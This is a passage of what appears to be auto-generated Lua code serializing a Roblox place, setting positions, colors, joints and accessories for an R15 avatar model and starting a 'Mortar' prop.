MeshPart820.CFrame = CFrame.new(227.820389, 2.8499999, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart820.Orientation = Vector3.new(0, 90, 0)
MeshPart820.Position = Vector3.new(227.820389, 2.8499999, -108.033447)
MeshPart820.Rotation = Vector3.new(0, 90, 0)
MeshPart820.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart820.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart820.Size = Vector3.new(0.999999762, 1.20000029, 1)
MeshPart820.Anchored = true
MeshPart820.BrickColor = BrickColor.new("Cool yellow")
MeshPart820.CanCollide = false
MeshPart820.brickColor = BrickColor.new("Cool yellow")
Motor6D821.Name = "RightElbow"
Motor6D821.Parent = MeshPart820
Motor6D821.C0 = CFrame.new(-5.96046448e-07, -0.200000167, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D821.C1 = CFrame.new(1.1920929e-07, 0.25000003, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D821.Part0 = MeshPart822
Motor6D821.Part1 = MeshPart820
Motor6D821.part1 = MeshPart820
MeshPart822.Name = "RightUpperArm"
MeshPart822.Parent = Model807
MeshPart822.CFrame = CFrame.new(227.820389, 3.29999995, -108.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart822.Orientation = Vector3.new(0, 90, 0)
MeshPart822.Position = Vector3.new(227.820389, 3.29999995, -108.033447)
MeshPart822.Rotation = Vector3.new(0, 90, 0)
MeshPart822.Color = Color3.new(0.992157, 0.917647, 0.552941)
MeshPart822.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart822.Size = Vector3.new(0.999999642, 1.40000033, 0.99999994)
MeshPart822.Anchored = true
MeshPart822.BrickColor = BrickColor.new("Cool yellow")
MeshPart822.CanCollide = false
MeshPart822.brickColor = BrickColor.new("Cool yellow")
Motor6D823.Name = "RightShoulder"
Motor6D823.Parent = MeshPart822
Motor6D823.C0 = CFrame.new(1.24998045, 0.549999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D823.C1 = CFrame.new(-0.250020266, 0.449999809, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D823.Part0 = MeshPart824
Motor6D823.Part1 = MeshPart822
Motor6D823.part1 = MeshPart822
MeshPart824.Name = "UpperTorso"
MeshPart824.Parent = Model807
MeshPart824.CFrame = CFrame.new(227.820389, 3.20000005, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart824.Orientation = Vector3.new(0, 90, 0)
MeshPart824.Position = Vector3.new(227.820389, 3.20000005, -106.533447)
MeshPart824.Rotation = Vector3.new(0, 90, 0)
MeshPart824.Color = Color3.new(0.156863, 0.498039, 0.278431)
MeshPart824.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart824.Size = Vector3.new(2, 1.60000014, 1.00000036)
MeshPart824.Anchored = true
MeshPart824.BrickColor = BrickColor.new("Dark green")
MeshPart824.brickColor = BrickColor.new("Dark green")
Motor6D825.Name = "Waist"
Motor6D825.Parent = MeshPart824
Motor6D825.C0 = CFrame.new(-1.1920929e-07, 0.550000072, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D825.C1 = CFrame.new(-5.96046448e-08, -0.450000018, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D825.Part0 = MeshPart838
Motor6D825.Part1 = MeshPart824
Motor6D825.part1 = MeshPart824
MeshPart826.Name = "LeftFoot"
MeshPart826.Parent = Model807
MeshPart826.CFrame = CFrame.new(227.820389, 0.150000006, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart826.Orientation = Vector3.new(0, 90, 0)
MeshPart826.Position = Vector3.new(227.820389, 0.150000006, -106.033447)
MeshPart826.Rotation = Vector3.new(0, 90, 0)
MeshPart826.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart826.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart826.Size = Vector3.new(1, 0.300000191, 1)
MeshPart826.Anchored = true
MeshPart826.BrickColor = BrickColor.new("Bright blue")
MeshPart826.CanCollide = false
MeshPart826.brickColor = BrickColor.new("Bright blue")
Motor6D827.Name = "LeftAnkle"
Motor6D827.Parent = MeshPart826
Motor6D827.C0 = CFrame.new(-1.78813934e-07, -0.749997616, 6.29340548e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D827.C1 = CFrame.new(-2.38418579e-07, 0.0500025749, 8.08154482e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D827.Part0 = MeshPart828
Motor6D827.Part1 = MeshPart826
Motor6D827.part1 = MeshPart826
MeshPart828.Name = "LeftLowerLeg"
MeshPart828.Parent = Model807
MeshPart828.CFrame = CFrame.new(227.820389, 0.949999988, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart828.Orientation = Vector3.new(0, 90, 0)
MeshPart828.Position = Vector3.new(227.820389, 0.949999988, -106.033447)
MeshPart828.Rotation = Vector3.new(0, 90, 0)
MeshPart828.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart828.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart828.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012)
MeshPart828.Anchored = true
MeshPart828.BrickColor = BrickColor.new("Bright blue")
MeshPart828.CanCollide = false
MeshPart828.brickColor = BrickColor.new("Bright blue")
Motor6D829.Name = "LeftKnee"
Motor6D829.Parent = MeshPart828
Motor6D829.C0 = CFrame.new(5.96046448e-08, -0.299999952, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D829.C1 = CFrame.new(-0, 0.249999642, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D829.Part0 = MeshPart830
Motor6D829.Part1 = MeshPart828
Motor6D829.part1 = MeshPart828
MeshPart830.Name = "LeftUpperLeg"
MeshPart830.Parent = Model807
MeshPart830.CFrame = CFrame.new(227.820389, 1.5, -106.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart830.Orientation = Vector3.new(0, 90, 0)
MeshPart830.Position = Vector3.new(227.820389, 1.5, -106.033447)
MeshPart830.Rotation = Vector3.new(0, 90, 0)
MeshPart830.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart830.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart830.Size = Vector3.new(1.00000036, 1.49999976, 0.999999881)
MeshPart830.Anchored = true
MeshPart830.BrickColor = BrickColor.new("Bright blue")
MeshPart830.CanCollide = false
MeshPart830.brickColor = BrickColor.new("Bright blue")
Motor6D831.Name = "LeftHip"
Motor6D831.Parent = MeshPart830
Motor6D831.C0 = CFrame.new(-0.500000119, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D831.C1 = CFrame.new(5.96046448e-08, 0.5, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D831.Part0 = MeshPart838
Motor6D831.Part1 = MeshPart830
Motor6D831.part1 = MeshPart830
MeshPart832.Name = "RightFoot"
MeshPart832.Parent = Model807
MeshPart832.CFrame = CFrame.new(227.820389, 0.150000006, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart832.Orientation = Vector3.new(0, 90, 0)
MeshPart832.Position = Vector3.new(227.820389, 0.150000006, -107.033447)
MeshPart832.Rotation = Vector3.new(0, 90, 0)
MeshPart832.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart832.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart832.Size = Vector3.new(0.99999994, 0.300000191, 1)
MeshPart832.Anchored = true
MeshPart832.BrickColor = BrickColor.new("Bright blue")
MeshPart832.CanCollide = false
MeshPart832.brickColor = BrickColor.new("Bright blue")
Motor6D833.Name = "RightAnkle"
Motor6D833.Parent = MeshPart832
Motor6D833.C0 = CFrame.new(-0, -0.750000477, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D833.C1 = CFrame.new(-0, 0.0499997139, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D833.Part0 = MeshPart834
Motor6D833.Part1 = MeshPart832
Motor6D833.part1 = MeshPart832
MeshPart834.Name = "RightLowerLeg"
MeshPart834.Parent = Model807
MeshPart834.CFrame = CFrame.new(227.820389, 0.949999988, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart834.Orientation = Vector3.new(0, 90, 0)
MeshPart834.Position = Vector3.new(227.820389, 0.949999988, -107.033447)
MeshPart834.Rotation = Vector3.new(0, 90, 0)
MeshPart834.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart834.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart834.Size = Vector3.new(0.99999994, 1.50000036, 1.00000012)
MeshPart834.Anchored = true
MeshPart834.BrickColor = BrickColor.new("Bright blue")
MeshPart834.CanCollide = false
MeshPart834.brickColor = BrickColor.new("Bright blue")
Motor6D835.Name = "RightKnee"
Motor6D835.Parent = MeshPart834
Motor6D835.C0 = CFrame.new(-0, -0.299999952, 4.36005103e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D835.C1 = CFrame.new(-0, 0.249999642, 4.35260044e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D835.Part0 = MeshPart836
Motor6D835.Part1 = MeshPart834
Motor6D835.part1 = MeshPart834
MeshPart836.Name = "RightUpperLeg"
MeshPart836.Parent = Model807
MeshPart836.CFrame = CFrame.new(227.820389, 1.5, -107.033447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart836.Orientation = Vector3.new(0, 90, 0)
MeshPart836.Position = Vector3.new(227.820389, 1.5, -107.033447)
MeshPart836.Rotation = Vector3.new(0, 90, 0)
MeshPart836.Color = Color3.new(0.0509804, 0.411765, 0.67451)
MeshPart836.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart836.Size = Vector3.new(1.00000048, 1.49999976, 0.999999881)
MeshPart836.Anchored = true
MeshPart836.BrickColor = BrickColor.new("Bright blue")
MeshPart836.CanCollide = false
MeshPart836.brickColor = BrickColor.new("Bright blue")
Motor6D837.Name = "RightHip"
Motor6D837.Parent = MeshPart836
Motor6D837.C0 = CFrame.new(0.499999881, -0.199999958, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D837.C1 = CFrame.new(-0, 0.5, -1.04308128e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D837.Part0 = MeshPart838
Motor6D837.Part1 = MeshPart836
Motor6D837.part1 = MeshPart836
MeshPart838.Name = "LowerTorso"
MeshPart838.Parent = Model807
MeshPart838.CFrame = CFrame.new(227.820389, 2.20000005, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
MeshPart838.Orientation = Vector3.new(0, 90, 0)
MeshPart838.Position = Vector3.new(227.820389, 2.20000005, -106.533447)
MeshPart838.Rotation = Vector3.new(0, 90, 0)
MeshPart838.Color = Color3.new(0.156863, 0.498039, 0.278431)
MeshPart838.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
MeshPart838.Size = Vector3.new(1.99999976, 0.399999976, 1.00000012)
MeshPart838.Anchored = true
MeshPart838.BrickColor = BrickColor.new("Dark green")
MeshPart838.brickColor = BrickColor.new("Dark green")
Motor6D839.Name = "Root"
Motor6D839.Parent = MeshPart838
Motor6D839.C0 = CFrame.new(-0, -0.649999976, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D839.C1 = CFrame.new(-1.1920929e-07, 0.150000036, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D839.Part0 = Part808
Motor6D839.Part1 = MeshPart838
Motor6D839.part1 = MeshPart838
Humanoid840.Parent = Model807
Humanoid840.HipHeight = 2
Humanoid840.LeftLeg = MeshPart830
Humanoid840.RigType = Enum.HumanoidRigType.R15
Humanoid840.RightLeg = MeshPart836
Humanoid840.Torso = Part808
NumberValue841.Name = "BodyWidthScale"
NumberValue841.Parent = Humanoid840
NumberValue841.Value = 1
NumberValue842.Name = "BodyHeightScale"
NumberValue842.Parent = Humanoid840
NumberValue842.Value = 1
NumberValue843.Name = "BodyDepthScale"
NumberValue843.Parent = Humanoid840
NumberValue843.Value = 1
NumberValue844.Name = "HeadScale"
NumberValue844.Parent = Humanoid840
NumberValue844.Value = 1
NumberValue845.Name = "BodyTypeScale"
NumberValue845.Parent = Humanoid840
NumberValue846.Name = "BodyProportionScale"
NumberValue846.Parent = Humanoid840
BoolValue847.Name = "IsR15"
BoolValue847.Parent = Humanoid840
BoolValue847.Value = true
Part848.Name = "Head"
Part848.Parent = Model807
Part848.CFrame = CFrame.new(227.820389, 4.5, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part848.Orientation = Vector3.new(0, 90, 0)
Part848.Position = Vector3.new(227.820389, 4.5, -106.533447)
Part848.Rotation = Vector3.new(0, 90, 0)
Part848.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part848.Velocity = Vector3.new(-1.40129846e-45, 0, 1.40129846e-45)
Part848.Size = Vector3.new(2, 1, 1)
Part848.Anchored = true
Part848.BottomSurface = Enum.SurfaceType.Smooth
Part848.BrickColor = BrickColor.new("Cool yellow")
Part848.TopSurface = Enum.SurfaceType.Smooth
Part848.brickColor = BrickColor.new("Cool yellow")
SpecialMesh849.Parent = Part848
SpecialMesh849.Scale = Vector3.new(1.25, 1.25, 1.25)
Motor6D850.Name = "Neck"
Motor6D850.Parent = Part848
Motor6D850.C0 = CFrame.new(-5.96046448e-08, 0.799999952, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D850.C1 = CFrame.new(0, -0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Motor6D850.Part0 = MeshPart824
Motor6D850.Part1 = Part848
Motor6D850.part1 = Part848
Decal851.Name = "face"
Decal851.Parent = Part848
Decal851.Texture = "http://www.roblox.com/asset?id=494290547"
Dialog852.Parent = Part848
Dialog852.InitialPrompt = "I made this map."
Accessory853.Name = "Floating Sparkling Shine"
Accessory853.Parent = Model807
Accessory853.AttachmentForward = Vector3.new(-0, -0, 1)
Accessory853.AttachmentPoint = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Accessory853.AttachmentPos = Vector3.new(-0.0301818848, 0.206862688, -0.0464763641)
Accessory853.AttachmentRight = Vector3.new(-1, 0, 0)
Part854.Name = "Handle"
Part854.Parent = Accessory853
Part854.CFrame = CFrame.new(227.694901, 4.95915222, -106.515106, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part854.Orientation = Vector3.new(0, -90, 0)
Part854.Position = Vector3.new(227.694901, 4.95915222, -106.515106)
Part854.Rotation = Vector3.new(0, -90, 0)
Part854.Size = Vector3.new(2.88000011, 3, 2.70000005)
Part854.Anchored = true
Part854.BottomSurface = Enum.SurfaceType.Smooth
Part854.CanCollide = false
Part854.TopSurface = Enum.SurfaceType.Smooth
SpecialMesh855.Name = "SpecialMesh"
SpecialMesh855.Parent = Part854
SpecialMesh855.MeshId = "rbxassetid://4641670867"
SpecialMesh855.TextureId = "rbxassetid://4641683252"
SpecialMesh855.MeshType = Enum.MeshType.FileMesh
StringValue856.Name = "AvatarPartScaleType"
StringValue856.Parent = Part854
StringValue856.Value = "Classic"
Weld857.Name = "AccessoryWeld"
Weld857.Parent = Part854
Weld857.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld857.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld857.Part0 = Part854
Weld857.Part1 = Part848
Weld857.part1 = Part848
Weld858.Name = "HeadWeld"
Weld858.Parent = Part854
Weld858.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld858.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld858.Part0 = Part854
Weld858.Part1 = Part848
Weld858.part1 = Part848
Weld859.Name = "AccessoryWeld"
Weld859.Parent = Part854
Weld859.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld859.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld859.Part0 = Part854
Weld859.Part1 = Part848
Weld859.part1 = Part848
Accessory860.Name = "ScarfAccessory"
Accessory860.Parent = Model807
Accessory860.AttachmentForward = Vector3.new(1.74845553e-07, -0, -1)
Accessory860.AttachmentPoint = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1)
Accessory860.AttachmentPos = Vector3.new(0.104999959, 0.590000272, 0.0299999844)
Accessory860.AttachmentRight = Vector3.new(1, 0, 1.74845553e-07)
Part861.Name = "Handle"
Part861.Parent = Accessory860
Part861.CFrame = CFrame.new(227.79039, 3.41000009, -106.428452, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part861.Orientation = Vector3.new(0, 90, 0)
Part861.Position = Vector3.new(227.79039, 3.41000009, -106.428452)
Part861.Rotation = Vector3.new(0, 90, 0)
Part861.Size = Vector3.new(2, 2, 2)
Part861.Anchored = true
Part861.BottomSurface = Enum.SurfaceType.Smooth
Part861.CanCollide = false
Part861.Locked = true
Part861.TopSurface = Enum.SurfaceType.Smooth
SpecialMesh862.Name = "SpecialMesh"
SpecialMesh862.Parent = Part861
SpecialMesh862.MeshId = "rbxassetid://4364163302"
SpecialMesh862.TextureId = "http://www.roblox.com/asset/?id=4472292171"
SpecialMesh862.MeshType = Enum.MeshType.FileMesh
StringValue863.Name = "AvatarPartScaleType"
StringValue863.Parent = Part861
StringValue863.Value = "Classic"
Weld864.Name = "AccessoryWeld"
Weld864.Parent = Part861
Weld864.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1)
Weld864.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld864.Part0 = Part861
Weld864.Part1 = MeshPart824
Weld864.part1 = MeshPart824
Weld865.Name = "HeadWeld"
Weld865.Parent = Part861
Weld865.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1)
Weld865.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld865.Part0 = Part861
Weld865.Part1 = MeshPart824
Weld865.part1 = MeshPart824
Weld866.Name = "AccessoryWeld"
Weld866.Parent = Part861
Weld866.C0 = CFrame.new(0.104999959, 0.590000272, 0.0299999844, 1, 0, -1.74845553e-07, 0, 1, 0, 1.74845553e-07, 0, 1)
Weld866.C1 = CFrame.new(0, 0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld866.Part0 = Part861
Weld866.Part1 = MeshPart824
Weld866.part1 = MeshPart824
Pants867.Name = "Pants"
Pants867.Parent = Model807
Pants867.PantsTemplate = "http://www.roblox.com/asset/?id=2445453616"
Accessory868.Name = "ValkyrieHelm"
Accessory868.Parent = Model807
Accessory868.AttachmentForward = Vector3.new(0, -0.254995316, -0.96694231)
Accessory868.AttachmentPoint = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231)
Accessory868.AttachmentPos = Vector3.new(0, -0.340000004, -0.239999995)
Accessory868.AttachmentUp = Vector3.new(0, 0.96694231, -0.254995316)
Part869.Name = "Handle"
Part869.Parent = Accessory868
Part869.CFrame = CFrame.new(228.139435, 5.26756191, -106.533447, 0, 0.254995078, 0.96694237, 0, 0.96694237, -0.254995078, -1, 0, 0)
Part869.Orientation = Vector3.new(14.7700005, 90, 0)
Part869.Position = Vector3.new(228.139435, 5.26756191, -106.533447)
Part869.Rotation = Vector3.new(90, 75.2300034, -90)
Part869.Size = Vector3.new(1, 0.800000012, 1)
Part869.Anchored = true
Part869.BottomSurface = Enum.SurfaceType.Smooth
Part869.CanCollide = false
Part869.Locked = true
Part869.TopSurface = Enum.SurfaceType.Smooth
Part869.FormFactor = Enum.FormFactor.Plate
Part869.formFactor = Enum.FormFactor.Plate
SpecialMesh870.Parent = Part869
SpecialMesh870.MeshId = "http://www.roblox.com/asset/?id=1365696"
SpecialMesh870.Scale = Vector3.new(1, 1, 1.14999998)
SpecialMesh870.TextureId = "http://www.roblox.com/asset/?id=1365693"
SpecialMesh870.MeshType = Enum.MeshType.FileMesh
Weld871.Name = "AccessoryWeld"
Weld871.Parent = Part869
Weld871.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231)
Weld871.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld871.Part0 = Part869
Weld871.Part1 = Part848
Weld871.part1 = Part848
Weld872.Name = "HeadWeld"
Weld872.Parent = Part869
Weld872.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231)
Weld872.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld872.Part0 = Part869
Weld872.Part1 = Part848
Weld872.part1 = Part848
Weld873.Name = "AccessoryWeld"
Weld873.Parent = Part869
Weld873.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231)
Weld873.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld873.Part0 = Part869
Weld873.Part1 = Part848
Weld873.part1 = Part848
Accessory874.Name = "Ultra-Fabulous Hair"
Accessory874.Parent = Model807
Part875.Name = "Handle"
Part875.Parent = Accessory874
Part875.CFrame = CFrame.new(227.820663, 5, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part875.Orientation = Vector3.new(0, 90, 0)
Part875.Position = Vector3.new(227.820663, 5, -106.533447)
Part875.Rotation = Vector3.new(0, 90, 0)
Part875.Size = Vector3.new(2, 2, 2)
Part875.Anchored = true
Part875.BottomSurface = Enum.SurfaceType.Smooth
Part875.CanCollide = false
Part875.Locked = true
Part875.TopSurface = Enum.SurfaceType.Smooth
Part875.FormFactor = Enum.FormFactor.Symmetric
Part875.formFactor = Enum.FormFactor.Symmetric
SpecialMesh876.Parent = Part875
SpecialMesh876.MeshId = "http://www.roblox.com/asset/?id=16627529"
SpecialMesh876.Scale = Vector3.new(1.04999995, 1.04999995, 1.04999995)
SpecialMesh876.TextureId = "http://www.roblox.com/asset/?id=16627494"
SpecialMesh876.MeshType = Enum.MeshType.FileMesh
Weld877.Name = "AccessoryWeld"
Weld877.Parent = Part875
Weld877.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld877.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld877.Part0 = Part875
Weld877.Part1 = Part848
Weld877.part1 = Part848
Weld878.Name = "HeadWeld"
Weld878.Parent = Part875
Weld878.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld878.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld878.Part0 = Part875
Weld878.Part1 = Part848
Weld878.part1 = Part848
Weld879.Name = "AccessoryWeld"
Weld879.Parent = Part875
Weld879.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld879.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1)
Weld879.Part0 = Part875
Weld879.Part1 = Part848
Weld879.part1 = Part848
BodyColors880.Parent = Model807
BodyColors880.HeadColor = BrickColor.new("Light orange")
BodyColors880.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors880.LeftArmColor = BrickColor.new("Light orange")
BodyColors880.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors880.LeftLegColor = BrickColor.new("Light orange")
BodyColors880.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors880.RightArmColor = BrickColor.new("Light orange")
BodyColors880.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors880.RightLegColor = BrickColor.new("Light orange")
BodyColors880.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors880.TorsoColor = BrickColor.new("Light orange")
BodyColors880.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549)
Shirt881.Name = "Shirt"
Shirt881.Parent = Model807
Shirt881.ShirtTemplate = "http://www.roblox.com/asset/?id=3789229425"
Model882.Name = "Mortar"
Model882.Parent = Model319
Part883.Parent = Model882
Part883.CFrame = CFrame.new(195.552155, 1.50067139, -74.1642914, -0.999999225, -8.65210677e-06, 0.00143999979, 0.000651277835, 0.889133155, 0.457647651, -0.00128433784, 0.457648277, -0.889132738)
Part883.Orientation = Vector3.new(-27.2399998, 179.910004, 0.0399999991)
Part883.Position = Vector3.new(195.552155, 1.50067139, -74.1642914)
Part883.Rotation = Vector3.new(-152.759995, 0.0799999982, 180)
Part883.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part883.Size = Vector3.new(1, 1.20000005, 1)
Part883.Anchored = true
Part883.BottomSurface = Enum.SurfaceType.Smooth
Part883.BrickColor = BrickColor.new("Dark stone grey")
Part883.TopSurface = Enum.SurfaceType.Smooth
Part883.brickColor = BrickColor.new("Dark stone grey")
BlockMesh884.Parent = Part883
BlockMesh884.Scale = Vector3.new(2, 2, 2)
Part885.Parent = Model882
Part885.CFrame = CFrame.new(194.5, 1.19999695, -72.5, -1.00000024, 2.50292942e-08, -7.21774995e-09, -2.50292942e-08, 0.999999762, 2.98023224e-08, -7.21774995e-09, -2.98023224e-08, -1.00000036)
Part885.Orientation = Vector3.new(0, -180, 0)
Part885.Position = Vector3.new(194.5, 1.19999695, -72.5)
Part885.Rotation = Vector3.new(-180, 0, -180)
Part885.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part885.Size = Vector3.new(1, 2.4000001, 1)
Part885.Anchored = true
Part885.BottomSurface = Enum.SurfaceType.Smooth
Part885.BrickColor = BrickColor.new("Really black")
Part885.TopSurface = Enum.SurfaceType.Smooth
Part885.brickColor = BrickColor.new("Really black")
BlockMesh886.Parent = Part885
BlockMesh886.Scale = Vector3.new(0.5, 1.5, 0.5)
Part887.Parent = Model882
Part887.CFrame = CFrame.new(192.142944, 5.18940735, -72.2156906, -0.00267499872, 0.690129817, -0.723680794, 0.457609951, -0.642619669, -0.614518344, -0.889149189, -0.332807541, -0.314091444)
Part887.Orientation = Vector3.new(37.9199982, -113.459999, 144.550003)
Part887.Position = Vector3.new(192.142944, 5.18940735, -72.2156906)
Part887.Rotation = Vector3.new(117.07, -46.3600006, -90.2200012)
Part887.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part887.Size = Vector3.new(1, 0.400000006, 1)
Part887.Anchored = true
Part887.BottomSurface = Enum.SurfaceType.Smooth
Part887.BrickColor = BrickColor.new("Really black")
Part887.TopSurface = Enum.SurfaceType.Smooth
Part887.brickColor = BrickColor.new("Really black")
CylinderMesh888.Parent = Part887
CylinderMesh888.Scale = Vector3.new(1, 0.0500000007, 1)
Part889.Parent = Model882
Part889.CFrame = CFrame.new(192.933075, 1.96476746, -73.985939, -2.32364982e-07, 0.457645953, 0.889134765, 0.457654566, 0.790556252, -0.406906456, -0.889130354, 0.406916618, -0.209443986)
Part889.Orientation = Vector3.new(24.0100002, 103.25, 30.0699997)
Part889.Position = Vector3.new(192.933075, 1.96476746, -73.985939)
